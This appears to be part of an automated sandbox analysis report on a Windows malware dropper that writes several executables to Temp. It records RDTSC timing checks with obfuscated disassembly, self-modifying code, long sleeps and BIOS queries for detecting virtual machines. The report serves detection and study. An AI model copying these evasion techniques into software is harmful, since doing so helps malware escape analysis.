Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602A6 second address: 4E602C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 movzx ecx, di 0x00000013 popad 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602C2 second address: 4E603ED instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push FFFFFFFEh 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F1AA0DFCFE1h 0x00000010 sub ecx, 714F6A06h 0x00000016 jmp 00007F1AA0DFCFE1h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F1AA0DFCFE0h 0x00000022 adc cx, 38A8h 0x00000027 jmp 00007F1AA0DFCFDBh 0x0000002c popfd 0x0000002d popad 0x0000002e push 6D3BA5E1h 0x00000033 jmp 00007F1AA0DFCFDFh 0x00000038 xor dword ptr [esp], 1BC365F9h 0x0000003f pushad 0x00000040 call 00007F1AA0DFCFE4h 0x00000045 push ecx 0x00000046 pop edi 0x00000047 pop ecx 0x00000048 pushfd 0x00000049 jmp 00007F1AA0DFCFE7h 0x0000004e xor cx, 93FEh 0x00000053 jmp 00007F1AA0DFCFE9h 0x00000058 popfd 0x00000059 popad 0x0000005a push 2BD2059Fh 0x0000005f jmp 00007F1AA0DFCFE7h 0x00000064 add dword ptr [esp], 4B1DA861h 0x0000006b jmp 00007F1AA0DFCFE6h 0x00000070 mov eax, dword ptr fs:[00000000h] 0x00000076 jmp 00007F1AA0DFCFE0h 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007F1AA0DFCFE7h 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603ED second address: 4E60431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F1AA0B73DC7h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 movsx ebx, ax 0x00000016 popad 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60431 second address: 4E60435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60435 second address: 4E6043B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6043B second address: 4E60474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 1Ch 0x0000000c pushad 0x0000000d mov si, 006Dh 0x00000011 pushad 0x00000012 jmp 00007F1AA0DFCFE8h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60669 second address: 4E6067B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0B73DBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6067B second address: 4E606FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b pushad 0x0000000c pushad 0x0000000d mov cx, di 0x00000010 pushfd 0x00000011 jmp 00007F1AA0DFCFDFh 0x00000016 add ecx, 514AAEEEh 0x0000001c jmp 00007F1AA0DFCFE9h 0x00000021 popfd 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007F1AA0DFCFE0h 0x00000029 or ah, 00000068h 0x0000002c jmp 00007F1AA0DFCFDBh 0x00000031 popfd 0x00000032 popad 0x00000033 mov dword ptr fs:[00000000h], eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F1AA0DFCFE5h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E606FA second address: 4E6070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0B73DBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6070A second address: 4E60743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushfd 0x00000011 jmp 00007F1AA0DFCFE6h 0x00000016 sbb ax, 1E58h 0x0000001b jmp 00007F1AA0DFCFDBh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60743 second address: 4E60749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60749 second address: 4E6074D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6074D second address: 4E607A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+10h] 0x0000000b jmp 00007F1AA0B73DC7h 0x00000010 test eax, eax 0x00000012 jmp 00007F1AA0B73DC6h 0x00000017 jne 00007F1B12BC3353h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1AA0B73DC7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E607A6 second address: 4E607BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E607BE second address: 4E607C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E607C2 second address: 4E60809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 00000000h 0x0000000d jmp 00007F1AA0DFCFDCh 0x00000012 mov dword ptr [ebp-20h], eax 0x00000015 jmp 00007F1AA0DFCFE0h 0x0000001a mov ebx, dword ptr [esi] 0x0000001c jmp 00007F1AA0DFCFE0h 0x00000021 mov dword ptr [ebp-24h], ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60809 second address: 4E6080D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6080D second address: 4E60813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60813 second address: 4E60819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60819 second address: 4E6081D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6081D second address: 4E60831 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ebx, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, 042E5E0Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60831 second address: 4E60836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60836 second address: 4E6086A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1AA0B73DBCh 0x00000009 sbb ax, 6BC8h 0x0000000e jmp 00007F1AA0B73DBBh 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F1B12BC31D7h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov cl, bl 0x00000024 push ecx 0x00000025 pop edx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6086A second address: 4E6024C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp ebx, FFFFFFFFh 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 movsx edx, ax 0x00000016 popad 0x00000017 popad 0x00000018 jmp 00007F1B12E4C3C5h 0x0000001d jne 00007F1AA0DFCFF9h 0x0000001f xor ecx, ecx 0x00000021 mov dword ptr [esi], ecx 0x00000023 mov dword ptr [esi+04h], ecx 0x00000026 mov dword ptr [esi+08h], ecx 0x00000029 mov dword ptr [esi+0Ch], ecx 0x0000002c mov dword ptr [esi+10h], ecx 0x0000002f mov dword ptr [esi+14h], ecx 0x00000032 mov ecx, dword ptr [ebp-10h] 0x00000035 mov dword ptr fs:[00000000h], ecx 0x0000003c pop ecx 0x0000003d pop edi 0x0000003e pop esi 0x0000003f pop ebx 0x00000040 mov esp, ebp 0x00000042 pop ebp 0x00000043 retn 0004h 0x00000046 nop 0x00000047 pop ebp 0x00000048 ret 0x00000049 add esi, 18h 0x0000004c pop ecx 0x0000004d cmp esi, 004A56A8h 0x00000053 jne 00007F1AA0DFCFC0h 0x00000055 push esi 0x00000056 call 00007F1AA0DFD843h 0x0000005b push ebp 0x0000005c mov ebp, esp 0x0000005e push dword ptr [ebp+08h] 0x00000061 call 00007F1AA580024Bh 0x00000066 mov edi, edi 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F1AA0DFCFE7h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D6C second address: 4E50DAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 20h 0x00000005 mov ax, 8AB3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movzx eax, di 0x00000013 pushfd 0x00000014 jmp 00007F1AA0B73DC7h 0x00000019 jmp 00007F1AA0B73DC3h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50DAC second address: 4E50DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFE4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 72F375 second address: 72EB3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0B73DBBh 0x00000009 popad 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e add dword ptr [ebp+122D3685h], edx 0x00000014 push dword ptr [ebp+122D05A5h] 0x0000001a jo 00007F1AA0B73DC1h 0x00000020 jmp 00007F1AA0B73DBBh 0x00000025 call dword ptr [ebp+122D368Dh] 0x0000002b pushad 0x0000002c cld 0x0000002d xor eax, eax 0x0000002f sub dword ptr [ebp+122D1C03h], esi 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 mov dword ptr [ebp+122D1C03h], ecx 0x0000003f mov dword ptr [ebp+122D3707h], eax 0x00000045 jnp 00007F1AA0B73DBCh 0x0000004b mov esi, 0000003Ch 0x00000050 or dword ptr [ebp+122D1C03h], esi 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a jns 00007F1AA0B73DCCh 0x00000060 lodsw 0x00000062 jmp 00007F1AA0B73DBBh 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b jmp 00007F1AA0B73DC9h 0x00000070 or dword ptr [ebp+122D1C03h], ebx 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a xor dword ptr [ebp+122D1C03h], edi 0x00000080 nop 0x00000081 jc 00007F1AA0B73DC8h 0x00000087 pushad 0x00000088 push ecx 0x00000089 pop ecx 0x0000008a jmp 00007F1AA0B73DBEh 0x0000008f popad 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 jmp 00007F1AA0B73DC5h 0x00000098 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 893E08 second address: 893E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4AEA84 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4AEBA9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66D55D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 654B42 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 72EA84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 72EBA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8ED55D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8D4B42 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Special instruction interceptor: First address: 1594ADA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Special instruction interceptor: First address: 1592492 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Special instruction interceptor: First address: 1755638 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Special instruction interceptor: First address: 172DA79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Special instruction interceptor: First address: 1594B1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Special instruction interceptor: First address: 17B960C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Special instruction interceptor: First address: A4C8CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Special instruction interceptor: First address: C6AD08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Special instruction interceptor: First address: FBF9FB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Special instruction interceptor: First address: 11E5B92 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Special instruction interceptor: First address: 3DE75 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Special instruction interceptor: First address: 1F75F3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Memory allocated: 5030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Memory allocated: 71D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Memory allocated: 4850000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Memory allocated: 4850000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EB0C9A rdtsc

0_2_04EB0C9A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1348	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1123	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1093	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1245	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1116	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window / User API: threadDelayed 957	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window / User API: threadDelayed 896	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window / User API: threadDelayed 1089	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window / User API: threadDelayed 1044	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window / User API: threadDelayed 818	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window / User API: threadDelayed 1029	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window / User API: threadDelayed 920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window / User API: threadDelayed 2419
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Window / User API: threadDelayed 622

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

API coverage: 1.4 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6460	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6460	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5408	Thread sleep count: 1348 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5408	Thread sleep time: -2697348s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1124	Thread sleep count: 1123 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1124	Thread sleep time: -2247123s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5468	Thread sleep count: 1093 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5468	Thread sleep time: -2187093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5332	Thread sleep count: 243 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5332	Thread sleep time: -7290000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep count: 1245 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep time: -2491245s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6592	Thread sleep count: 1224 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6592	Thread sleep time: -2449224s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3788	Thread sleep count: 1116 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3788	Thread sleep time: -2233116s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5660	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 4072	Thread sleep count: 957 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 4072	Thread sleep time: -1914957s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 6596	Thread sleep count: 896 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 6596	Thread sleep time: -1792896s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 6020	Thread sleep count: 1089 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 6020	Thread sleep time: -2179089s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 5704	Thread sleep count: 1044 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 5704	Thread sleep time: -2089044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 1868	Thread sleep count: 818 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 1868	Thread sleep time: -1636818s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 5696	Thread sleep count: 1029 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 5696	Thread sleep time: -2059029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 3780	Thread sleep count: 920 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe TID: 3780	Thread sleep time: -1840920s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 6604	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 2468	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 3692	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 3692	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4372	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4372	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4128	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4128	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 3840	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4428	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4428	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4204	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4204	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 4332	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 5856	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 5856	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 5532	Thread sleep time: -344172s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 5304	Thread sleep time: -360180s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 4512	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 2716	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 1020	Thread sleep time: -322161s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 5268	Thread sleep time: -4840419s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 5640	Thread sleep time: -372186s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 5376	Thread sleep time: -366183s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe TID: 6728	Thread sleep time: -366183s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 8016	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 7508	Thread sleep count: 250 > 30
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 7508	Thread sleep time: -1500000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 7992	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe TID: 8000	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe TID: 4816	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe TID: 7512	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

